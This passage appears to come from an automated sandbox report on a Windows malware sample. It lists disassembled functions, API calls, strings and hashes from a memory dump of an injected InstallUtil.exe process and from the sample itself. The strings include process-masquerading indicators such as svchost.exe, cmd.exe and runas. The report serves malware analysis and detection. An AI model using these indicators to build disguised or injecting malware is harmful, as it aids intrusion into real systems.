GetFullPathNameW.KERNEL32(?,?,?,00000000,0043D3F4,00000000,?,00443A76,00000000,00000000,0043D3F4,?,?,00000000,00000000,00000001), ref: 0043D30E
GetLastError.KERNEL32(?,00443A76,00000000,00000000,0043D3F4,?,?,00000000,00000000,00000001,00000000,00000000,?,0043D3F4,00000000,00000104), ref: 0043D318
__dosmaperr.LIBCMT ref: 0043D31F

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 3bc99e2ab04cc47f5924e3888b69016f87a40c3822b9f702ee491d24aa746f64
Instruction ID: 36a83d82be608c5fcde07aac889470f98a7a18583fb45e5d3a3fadd4055a7aa5
Opcode Fuzzy Hash: 3bc99e2ab04cc47f5924e3888b69016f87a40c3822b9f702ee491d24aa746f64
Instruction Fuzzy Hash: BDF06232A00215BB8B205FB6EC0494BFF69FF49361B045526B919D7111C775EC11CBD9

Function 0043D28F Relevance: 6.0, APIs: 4, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,0043D3F4,00000000,?,00443AEB,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 0043D2A5
GetLastError.KERNEL32(?,00443AEB,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,0043D3F4,00000000,00000104,?), ref: 0043D2AF
__dosmaperr.LIBCMT ref: 0043D2B6

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: b8ece2a0a60b3b7da30b18c0fe2269e571c543086fa155e67cdbbaa41e7b62ec
Instruction ID: 2135b0235a06c6d69fe3cdfb50c17ebd10e234cc695d2fc9d085a932c8cf2c4a
Opcode Fuzzy Hash: b8ece2a0a60b3b7da30b18c0fe2269e571c543086fa155e67cdbbaa41e7b62ec
Instruction Fuzzy Hash: 88F0AD32A00515BB8B242FB2EC08947FF69FF4A3A0B009566F629C7120CB75E811CBD8

Function 00426BB5 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00421B16: TlsGetValue.KERNEL32(?,?,00421097,00420EC4,?,?), ref: 00421B1C

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 00426BDF

Part of subcall function 0042FEBE: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0042FEE5
Part of subcall function 0042FEBE: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0042FEFE
Part of subcall function 0042FEBE: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0042FF74
Part of subcall function 0042FEBE: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 0042FF7C

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 00426BED
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00426BF7
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 00426C01

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceValueVirtualWork
String ID:
API String ID: 2616382602-0
Opcode ID: 5cb68c1f1b58d80ccd69ae7afc2cc67298d59f20cb6323da6829fcb2a312848c
Instruction ID: 6bdd74c1a4eddd25bf0c408e8bbd40e4ee1a62c41b30aafed8a43291dd866bc9
Opcode Fuzzy Hash: 5cb68c1f1b58d80ccd69ae7afc2cc67298d59f20cb6323da6829fcb2a312848c
Instruction Fuzzy Hash: 3AF0C271B0013427CA15B327A81296EBA699B81B18BC5002FE81193256EF6CAA65C6DE

Function 0044860F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00408EF0,0000000F,00461E40,00000000,00408EF0,?,00446CFA,00408EF0,00000001,00408EF0,00408EF0,?,00441BD7,00000000,?,00408EF0), ref: 00448626
GetLastError.KERNEL32(?,00446CFA,00408EF0,00000001,00408EF0,00408EF0,?,00441BD7,00000000,?,00408EF0,00000000,00408EF0,?,0044212B,00408EF0), ref: 00448632

Part of subcall function 004485F8: CloseHandle.KERNEL32(FFFFFFFE,00448642,?,00446CFA,00408EF0,00000001,00408EF0,00408EF0,?,00441BD7,00000000,?,00408EF0,00000000,00408EF0), ref: 00448608

___initconout.LIBCMT ref: 00448642

Part of subcall function 004485BA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,004485E9,00446CE7,00408EF0,?,00441BD7,00000000,?,00408EF0,00000000), ref: 004485CD

WriteConsoleW.KERNEL32(00408EF0,0000000F,00461E40,00000000,?,00446CFA,00408EF0,00000001,00408EF0,00408EF0,?,00441BD7,00000000,?,00408EF0,00000000), ref: 00448657

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 65e086a67db34cea33dab062af4f2ef1acc4517723aa7ab89f549ad515d1de36
Instruction ID: 0629dcedf53c1010185fb9db7a46f7c0ecc600a05e59cf0621427cbb3b023f37
Opcode Fuzzy Hash: 65e086a67db34cea33dab062af4f2ef1acc4517723aa7ab89f549ad515d1de36
Instruction Fuzzy Hash: 01F03036101214BBDF621FA5EC0498E3F26FB5A3A1F01442AFE1985131DB72C960EB99

Function 0041ED49 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,0041ECE6,00000064), ref: 0041ED6C
LeaveCriticalSection.KERNEL32(00467720,0046A650,?,0041ECE6,00000064,?,76F90F00,?,00407DDD,0046A650), ref: 0041ED76
WaitForSingleObjectEx.KERNEL32(0046A650,00000000,?,0041ECE6,00000064,?,76F90F00,?,00407DDD,0046A650), ref: 0041ED87
EnterCriticalSection.KERNEL32(00467720,?,0041ECE6,00000064,?,76F90F00,?,00407DDD,0046A650), ref: 0041ED8E

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: b28434225023a892cadae71a78874a2e44cef7f9251bfc6f977d0b42658ecd2e
Instruction ID: 960bc4c6d34cf2f2776129c0c744116860a771ff5952821a3a23fcff588dd6e4
Opcode Fuzzy Hash: b28434225023a892cadae71a78874a2e44cef7f9251bfc6f977d0b42658ecd2e
Instruction Fuzzy Hash: 8CE09236504724B7CB011B60ED48B8E3F24EB0ABA7B180033FB0592161D7A578408BDE

Function 00407FA0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 468sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00408269

Strings

runas, xrefs: 00407AF3

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: runas
API String ID: 3472027048-4000483414
Opcode ID: 267f5e07335bd3a4b03784cb1fb252321e939e092df786aee98399fc5348ead9
Instruction ID: 759e4fbc8e1c318e583b1fa210ee3ce84454d92240ba5b3a577243d0059695f1
Opcode Fuzzy Hash: 267f5e07335bd3a4b03784cb1fb252321e939e092df786aee98399fc5348ead9
Instruction Fuzzy Hash: BEE15D71A00204ABEB08EB78CE4679D7B62DF81318F50416EF455AB3C2DF3D9A45879A

Function 0041AAF0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 197COMMONLIBRARYCODE

Download Yara Rule

Strings

P#@, xrefs: 0040246D
P#@, xrefs: 00402486

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID:
String ID: P#@$P#@
API String ID: 0-3974838576
Opcode ID: 7765b7d94bd7416e7598a26e205577fe39e8053585023171e2c17ea6199ae3f3
Instruction ID: b7fd6f96c4e358c3a7aa43a16975cc44e2f532ddd5950f43111c81a5f078ef45
Opcode Fuzzy Hash: 7765b7d94bd7416e7598a26e205577fe39e8053585023171e2c17ea6199ae3f3
Instruction Fuzzy Hash: 43513972901108ABCB18DF69D841AEEB7A5EF44304F10466BF905EB341E738EDA1879A

Function 00446E6F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 158fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,00000002,?,00000000,?,00000000,?), ref: 00446F4D

Strings

iuD, xrefs: 00446EFB, 00447009
iuD, xrefs: 00446EA3

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: FileRead
String ID: iuD$iuD
API String ID: 2738559852-1047622735
Opcode ID: 5176c2a296129cc6f874dd4bc62e8cdc96f2c91942911c5e3ee6d7fc8b0c99aa
Instruction ID: 5070cc1f489c5396081c29fa13f3a44fe875cb9927b7b549b5e43e276730a917
Opcode Fuzzy Hash: 5176c2a296129cc6f874dd4bc62e8cdc96f2c91942911c5e3ee6d7fc8b0c99aa
Instruction Fuzzy Hash: 06512631A04256EBDB20CF58D480BEEB7B0FF0A354F21455FD555AB380E3785986CB9A

Function 00447040 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,00000000,45D), ref: 0044715D
__dosmaperr.LIBCMT ref: 00447164

Strings

45D, xrefs: 00447045, 00447046

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr
String ID: 45D
API String ID: 1659562826-262394721
Opcode ID: 5c5cc843beafbf324ab000238e3177cdba0528578b5b319086713d97ace77a75
Instruction ID: 1715e81d2553e86c6debbd5dc21a4cd71fbb9207bed7018e5d38e9ca413f0121
Opcode Fuzzy Hash: 5c5cc843beafbf324ab000238e3177cdba0528578b5b319086713d97ace77a75
Instruction Fuzzy Hash: CC419B71608195AFFB259F28CC80ABA7FE5DB86340F24465BE8814B342E7789C13C799

Function 0043AB5A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, xrefs: 0043AB9D, 0043ABDA

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
API String ID: 0-2118511638
Opcode ID: a0144a2721f70f8604db8a7ee93487892234e270fe70bc07e5acbf17e6d3bc8c
Instruction ID: ee91ec62fb5e7b4a6093d8ba08e234b74d9ab3ae10b577018a50ef6aa8dfba40
Opcode Fuzzy Hash: a0144a2721f70f8604db8a7ee93487892234e270fe70bc07e5acbf17e6d3bc8c
Instruction Fuzzy Hash: 9E41C370A40204ABCB25DF9AD881D9EBBB8EB8D314F10106BF55097211D7B89E11CB5A

Function 00403930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 00403962
__Mtx_init_in_situ.LIBCPMT ref: 004039A1

Strings

pB@, xrefs: 00403940

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: pB@
API String ID: 3366076730-522444117
Opcode ID: 178e34dfc40283ebfd9969997631520340c0ed8c5713c7c3a1b55a000360faac
Instruction ID: 5f5a71deda72fbd3a4e0578e95a57853c6bde88b127b8317d02a4b6608c4a6e7
Opcode Fuzzy Hash: 178e34dfc40283ebfd9969997631520340c0ed8c5713c7c3a1b55a000360faac
Instruction Fuzzy Hash: EE4138B46017058FD720CF19C58475ABBF4FF44315F10865EE86A8B381E778A905CF80

Function 004332B1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00433311
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0043335C

Strings

pContext, xrefs: 00433354

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 3b9f4098d8645b2bd9b1b21ec07b81a38801a30daad962a0335c9871e25f030d
Instruction ID: 36c00efb96e4e3882489fe475725b0efaf86a9a083d101970ab006c127268903
Opcode Fuzzy Hash: 3b9f4098d8645b2bd9b1b21ec07b81a38801a30daad962a0335c9871e25f030d
Instruction Fuzzy Hash: 5111E4356002109BCF19AF28C48156E77A5AF4C366F15906BEC029B342DF7CDE05CBC9

Function 0041EF92 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0040247E

Part of subcall function 004356B1: RaiseException.KERNEL32(E06D7363,00000001,00000003,004606D0,?,?,?,004606D0), ref: 00435711

Strings

P#@, xrefs: 0040246D
P#@, xrefs: 00402486

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: P#@$P#@
API String ID: 3109751735-3974838576
Opcode ID: 58949f6f961f50cc0841e5439e776a58c31fa4203b35ab9fd721e15b335cb619
Instruction ID: 6d05f95a679b29ce89c567723a1b0a20bc2efcc9ffa3934f746b64a466c28acf
Opcode Fuzzy Hash: 58949f6f961f50cc0841e5439e776a58c31fa4203b35ab9fd721e15b335cb619
Instruction Fuzzy Hash: 7F012B7580030D77CB14BAE6EC4298977AC9E04318F108537FE54A61C1FBB8E999869E

Function 0041EBA1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0041EDCA
___raise_securityfailure.LIBCMT ref: 0041EEB1

Strings

@wF, xrefs: 0041EEAC

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: @wF
API String ID: 3761405300-1880776518
Opcode ID: bedeb3860bf0e9a6665ec0508dc6790e30d3cdcec2dfe01aa105c5e2dc43d474
Instruction ID: 62d32e7308791d40e79463a0b529c75d3b308f2e843bd4650f2b9eeca82b2062
Opcode Fuzzy Hash: bedeb3860bf0e9a6665ec0508dc6790e30d3cdcec2dfe01aa105c5e2dc43d474
Instruction Fuzzy Hash: 0521B3B85583009AE710EF59FD4A6507BE4FB48319F10617AEA08873A5F3F55D84CB8E

Function 0043C26E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0043C2BE
_free.LIBCMT ref: 0043C2F2

Strings

xAF, xrefs: 0043C2E5

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: _free
String ID: xAF
API String ID: 269201875-3548281371
Opcode ID: 4f8bf33402039249b1b8d4ae05e579def717c2de1172117e037dcd4a898d6b64
Instruction ID: e855d59437db229d4bbdb7ac49382e5da07e4a667c8a6d82135906ac4343fd98
Opcode Fuzzy Hash: 4f8bf33402039249b1b8d4ae05e579def717c2de1172117e037dcd4a898d6b64
Instruction Fuzzy Hash: D001B13290972036CA2132B66C86B6B22085B0F764F55322BFC10B62E5EB5E8C02039E

Function 00402440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004356B1: RaiseException.KERNEL32(E06D7363,00000001,00000003,004606D0,?,?,?,004606D0), ref: 00435711

___std_exception_copy.LIBVCRUNTIME ref: 0040247E

Strings

P#@, xrefs: 0040246D
P#@, xrefs: 00402486

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: P#@$P#@
API String ID: 3109751735-3974838576
Opcode ID: 75638a94ff16e554f189c747973822a9e70f551135e4e88f762db6de1f43b8d2
Instruction ID: b2af52c36ec234a034377b5f25c68383917b06d089eeeac36d0a75b21094c2a0
Opcode Fuzzy Hash: 75638a94ff16e554f189c747973822a9e70f551135e4e88f762db6de1f43b8d2
Instruction Fuzzy Hash: 1BF0E5B181030C77C718EBE9D902989B3ACDE15304F50892BFB44EB601F7B8F5888799

Function 00419640 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00419666
__Cnd_destroy_in_situ.LIBCPMT ref: 0041966F

Strings

@.@, xrefs: 0041965F

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: @.@
API String ID: 1432671424-4060093550
Opcode ID: 5c13d42fb61f522452e2a3cf712495dfc8f4a3419a356fded095cb4b9336a77f
Instruction ID: ae106c31e6a9cb7b6a97c262e60d2f68588517fbfb3bf65585920efc53011227
Opcode Fuzzy Hash: 5c13d42fb61f522452e2a3cf712495dfc8f4a3419a356fded095cb4b9336a77f
Instruction Fuzzy Hash: 22F0E970E4030457C7109F65C814A86B7D89F1136AB14852FF95987242E77DFD8587AC

Function 00402520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00402552

Strings

P#@, xrefs: 00402547
P#@, xrefs: 0040255D

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#@$P#@
API String ID: 2659868963-3974838576
Opcode ID: 0a4f2f2602cc2c298ee077c99c8391db1cb9ce6451724da8eb9e2e6384111b03
Instruction ID: c3faa7b207767ff8d047c1c47ab2c7b223f330b297418137881ec747dbc30656
Opcode Fuzzy Hash: 0a4f2f2602cc2c298ee077c99c8391db1cb9ce6451724da8eb9e2e6384111b03
Instruction Fuzzy Hash: F0F02770D1020CABCB14DF68C8419CEBBF4AF55304F10C2AFE80467201EBB06A88CB99

Function 0042D4DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0042D4FE
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0042D511

Strings

pContext, xrefs: 0042D509

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 0765b32be6d23b37d7ca1dde06ad0fe5241d7c53189a9d6cd2a8f45d26a35437
Instruction ID: 066e67ca4f871eb66e2e49dfd96966884daacc87daf92c431bde3a69116b4f07
Opcode Fuzzy Hash: 0765b32be6d23b37d7ca1dde06ad0fe5241d7c53189a9d6cd2a8f45d26a35437
Instruction Fuzzy Hash: 76E09B35B0021877CB04BB66D806D9E77BD5FC8715B54001BA91567345EBB8DA0489D8

Function 00402E40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00402E50
__Cnd_destroy_in_situ.LIBCPMT ref: 00402E59

Strings

@.@, xrefs: 00402E49

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: @.@
API String ID: 1432671424-4060093550
Opcode ID: 1fb340d00e61c947f3c16b94e6e1c413a2f3c28dfeba36d9ed47747106b19581
Instruction ID: dcc904354994d7b126e8905a128a006a52edd853d9abe792232154896611133a
Opcode Fuzzy Hash: 1fb340d00e61c947f3c16b94e6e1c413a2f3c28dfeba36d9ed47747106b19581
Instruction Fuzzy Hash: F4E0D8B294030466C2106B919C05DC7BBCC4F21756F00442BFD4092242E7B9A64843AC

Function 0042507C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 004250AC

Strings

version, xrefs: 00425091
pScheduler, xrefs: 004250A4

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 6442ca2b9876d40ad984a2e0558c23fe747d68eb1b0542ddb36f63eaca79bf38
Instruction ID: 43af75809171ef32d28728ebacafedf04e1e0afe34559d714d34dc73ef6437cf
Opcode Fuzzy Hash: 6442ca2b9876d40ad984a2e0558c23fe747d68eb1b0542ddb36f63eaca79bf38
Instruction Fuzzy Hash: 38E08634A40708B6DB15FF55EC06BDD33A49F1074AF90801779156509697FCD68CC6CD

Function 004024A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004024BE

Strings

P#@, xrefs: 004024AD
P#@, xrefs: 004024C6

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#@$P#@
API String ID: 2659868963-3974838576
Opcode ID: 930d27aef2f3e2efd2b9c7bb34b3875bdb7f5913c8bda2a499cc6d5f10a873a4
Instruction ID: cd251c532983a36a3cb91a0ee24ec641cf0faac2827c2d7955cfec6bd8e25f57
Opcode Fuzzy Hash: 930d27aef2f3e2efd2b9c7bb34b3875bdb7f5913c8bda2a499cc6d5f10a873a4
Instruction Fuzzy Hash: 60D02BB392030857C300DF98CC00846B7DCDE26315304C52BF644F7201F3B0E48487A8

Function 00402580 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0040259E

Strings

P#@, xrefs: 0040258D
P#@, xrefs: 004025A6

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#@$P#@
API String ID: 2659868963-3974838576
Opcode ID: 572193a72a2a2e23f2d5e83ad03fd5255bf3839e77ee3df692b274566ed0f1ea
Instruction ID: 7f05eec6fb53337958e7a8cc4c529316e82dfde03a865ec308e6b288d80d7815
Opcode Fuzzy Hash: 572193a72a2a2e23f2d5e83ad03fd5255bf3839e77ee3df692b274566ed0f1ea
Instruction Fuzzy Hash: D5D0C2B292020857C3009F98CC00846B7DC9E16255300C52BF644E7201F3B0E48487A8

Function 00402E10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00402E1D
__Cnd_destroy_in_situ.LIBCPMT ref: 00402E26

Strings

@.@, xrefs: 00402E16

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: @.@
API String ID: 1432671424-4060093550
Opcode ID: d0acf0ffb81333b9e097564a94b12b1628acfb64939d253c68aa51bd6acdd138
Instruction ID: f53e4ed5deda91f0563260d1014f6ea24f29ddea3c6efb6cde53e79a728ab395
Opcode Fuzzy Hash: d0acf0ffb81333b9e097564a94b12b1628acfb64939d253c68aa51bd6acdd138
Instruction Fuzzy Hash: 91D012B6C017105AC720AF51A805CC7B7ECAE147123514C5FE99193602F778F68C8B68

Analysis Process: stub4141_2024-10-16_10-48.exePID: 6036, Parent PID: 6112COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	27.6%
Signature Coverage:	35.2%
Total number of Nodes:	711
Total number of Limit Nodes:	49

Executed Functions

Function 00401000 Relevance: 200.2, APIs: 99, Strings: 15, Instructions: 720COMMON

Download Yara Rule

APIs

Part of subcall function 004172C0: LoadLibraryW.KERNEL32(NTDLL.DLL), ref: 004172CE

ExitProcess.KERNEL32 ref: 0040103B
_memset.LIBCMT ref: 00401058
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0040106E
ExitProcess.KERNEL32 ref: 0040107A

Strings

{6837DC06-EC8B-4D09-8FB2-23C8B38AB850}, xrefs: 004019CD
{F8D9A4CE-4164-49CD-8372-97E55A18B928}, xrefs: 004014A6
{BBF173FA-E399-4CBA-82A3-5D53467FFBF2}, xrefs: 004012FC, 00401322
{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}, xrefs: 00401105, 0040132F, 00401356
{85CEBC84-7FEF-4A5E-8D36-DB9B65BD95B9}, xrefs: 0040148D
{A062E120-2756-48E4-82DB-098F1D94D8A9}, xrefs: 00401137, 00401952
{62A73DC5-B44C-41A5-95C2-BF9107E36D73}, xrefs: 004014BF
{BA815171-8650-4CA0-A33D-83E96A2C2491}, xrefs: 004012C1
%s\svchost.exe, xrefs: 00401732
%s\cmd.exe, xrefs: 00401776
{BFC89505-7634-423F-83D6-983772D943D2}, xrefs: 004011A2, 004011D8
{1559C4CD-3D26-469A-8224-1AB8C1DF7CDA}, xrefs: 00401ACA
{414C01E0-7053-4041-8CA6-B1EF6EE7CF79}, xrefs: 004010BF
